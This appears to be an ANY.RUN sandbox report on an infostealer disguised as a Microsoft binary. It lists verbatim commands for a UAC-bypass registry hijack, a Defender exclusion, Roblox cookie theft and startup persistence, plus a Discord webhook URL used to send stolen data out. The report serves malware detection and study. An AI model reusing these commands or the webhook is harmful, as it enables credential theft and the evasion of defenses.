| File name: | RockstarBypass.exe |
| Full analysis: | https://app.any.run/tasks/b62188ea-c8cf-4699-a32d-57905b54820f |
| Verdict: | Malicious activity |
| Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
| Analysis date: | June 28, 2025, 19:48:32 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 7 sections |
| MD5: | 2B81F9A34705F41E6EBD6B0C6F5048D1 |
| SHA1: | C997D7B6A589CFD77663DF6F97D0BBD743AD1C7D |
| SHA256: | 1867E046ADC1AC7866D58A507A1CFF879C925854C84E82CED2F93DC800DD1557 |
| SSDEEP: | 98304:TC3CpW/6OzhJ8QKCt7bm6GpJ0SDaFbqfW7Gl8PWa6kmlMvTrQPSPQvJVfPVNbeqa:I/ZS8YgxjfnP |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:06:28 19:36:38+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.43 |
| CodeSize: | 174592 |
| InitializedDataSize: | 96768 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xd0d0 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.19041.5848 |
| ProductVersionNumber: | 10.0.19041.5848 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Dynamic link library |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | USO Core Worker Process |
| FileVersion: | 10.0.19041.5848 (WinBuild.160101.0800) |
| InternalName: | USO Core Worker Process |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | USOCoreWorker.exe |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.19041.5848 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 316 | reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\admin\Desktop\RockstarBypass.exe" /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 320 | C:\WINDOWS\system32\cmd.exe /c "tasklist /FO LIST" | C:\Windows\System32\cmd.exe | — | RockstarBypass.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 420 | C:\WINDOWS\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" | C:\Windows\System32\cmd.exe | — | RockstarBypass.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 424 | wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text | C:\Windows\System32\wevtutil.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Eventing Command Line Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 536 | C:\WINDOWS\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\admin\Desktop\RockstarBypass.exe'" | C:\Windows\System32\cmd.exe | — | RockstarBypass.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 892 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 984 | C:\WINDOWS\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" | C:\Windows\System32\cmd.exe | — | RockstarBypass.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1132 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1212 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1216 | "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr" | C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: USO Core Worker Process Exit code: 0 Version: 10.0.19041.5848 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (4088) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
| Operation: | write | Name: | DelegateExecute |
Value: | |||
| (PID) Process: | (2276) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (2276) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (2276) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (2276) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (5628) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (5628) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (5628) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (5628) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (6732) RockstarBypass.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Multimedia\DrawDib |
| Operation: | write | Name: | 1280x720x32(BGR 0) |
Value: 31,31,31,31 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\VCRUNTIME140.dll | executable | |
MD5:F12681A472B9DD04A812E16096514974 | SHA256:D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8 | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\_hashlib.pyd | executable | |
MD5:596DF8ADA4B8BC4AE2C2E5BBB41A6C2E | SHA256:54348CFBF95FD818D74014C16343D9134282D2CF238329EEC2CDA1E2591565EC | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\_lzma.pyd | executable | |
MD5:8D9E1BB65A192C8446155A723C23D4C5 | SHA256:1549FE64B710818950AA9BF45D43FE278CE59F3B87B3497D2106FF793EFA6CF7 | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\libcrypto-1_1.dll | executable | |
MD5:DAA2EED9DCEAFAEF826557FF8A754204 | SHA256:4DAB915333D42F071FE466DF5578FD98F38F9E0EFA6D9355E9B4445FFA1CA914 | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\_ssl.pyd | executable | |
MD5:156B1FA2F11C73ED25F63EE20E6E4B26 | SHA256:A9B5F6C7A94FB6BFAF82024F906465FF39F9849E4A72A98A9B03FC07BF26DA51 | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\base_library.zip | compressed | |
MD5:BDDF914335205B048ED3B7319BFD9802 | SHA256:F6742A7F42835E09B96957258F7F08A49B419B39E6ABFE7A8B169EE5540D1DE2 | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\_sqlite3.pyd | executable | |
MD5:D678600C8AF1EEEAA5D8C1D668190608 | SHA256:D6960F4426C09A12488EB457E62506C49A58D62A1CB16FBC3AE66B260453C2ED | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\_ctypes.pyd | executable | |
MD5:38FB83BD4FEBED211BD25E19E1CAE555 | SHA256:CD31AF70CBCFE81B01A75EBEB2DE86079F4CBE767B75C3B5799EF8B9F0392D65 | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\_bz2.pyd | executable | |
MD5:0C13627F114F346604B0E8CBC03BAF29 | SHA256:DF1E666B55AAE6EDE59EF672D173BD0D64EF3E824A64918E081082B8626A5861 | |||
| 5616 | RockstarBypass.exe | C:\Users\admin\AppData\Local\Temp\_MEI56162\_decimal.pyd | executable | |
MD5:7BA541DEFE3739A888BE466C999C9787 | SHA256:F90EFA10D90D940CDE48AAFE02C13A0FC0A1F0BE7F3714856B7A1435F5DECF29 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 2.16.168.124:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 2.16.168.124:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 204 | 142.250.184.227:443 | https://gstatic.com/generate_204 | unknown | — | — | unknown |
— | — | POST | 200 | 20.190.160.22:443 | https://login.live.com/ppsecure/deviceaddcredential.srf | unknown | text | 16.7 Kb | whitelisted |
— | — | POST | 200 | 20.190.160.22:443 | https://login.live.com/RST2.srf | unknown | xml | 1.24 Kb | whitelisted |
— | — | POST | 200 | 20.190.160.128:443 | https://login.live.com/RST2.srf | unknown | xml | 11.1 Kb | whitelisted |
— | — | GET | 304 | 20.12.23.50:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | unknown | — | — | unknown |
— | — | POST | 404 | 162.159.135.232:443 | https://discord.com/api/webhooks/1388527657980792923/YMbShXuahf_poHSUT34LM9pMjORyIwTjpB_XxpkUeX6NT1d2sDwrRfyPXjvQRZxGCWNS | unknown | binary | 45 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1268 | svchost.exe | 2.16.168.124:80 | crl.microsoft.com | Akamai International B.V. | RU | whitelisted |
5944 | MoUsoCoreWorker.exe | 2.16.168.124:80 | crl.microsoft.com | Akamai International B.V. | RU | whitelisted |
1268 | svchost.exe | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
5944 | MoUsoCoreWorker.exe | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
5944 | MoUsoCoreWorker.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1268 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6024 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
gstatic.com |
| whitelisted |
login.live.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
ip-api.com |
| whitelisted |
discord.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2200 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2200 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
2200 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
6732 | RockstarBypass.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
6732 | RockstarBypass.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
6732 | RockstarBypass.exe | Misc activity | ET INFO Observed Discord Service Domain (discord .com) in TLS SNI |
2200 | svchost.exe | Misc activity | ET INFO Discord Chat Service Domain in DNS Lookup (discord .com) |
6732 | RockstarBypass.exe | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |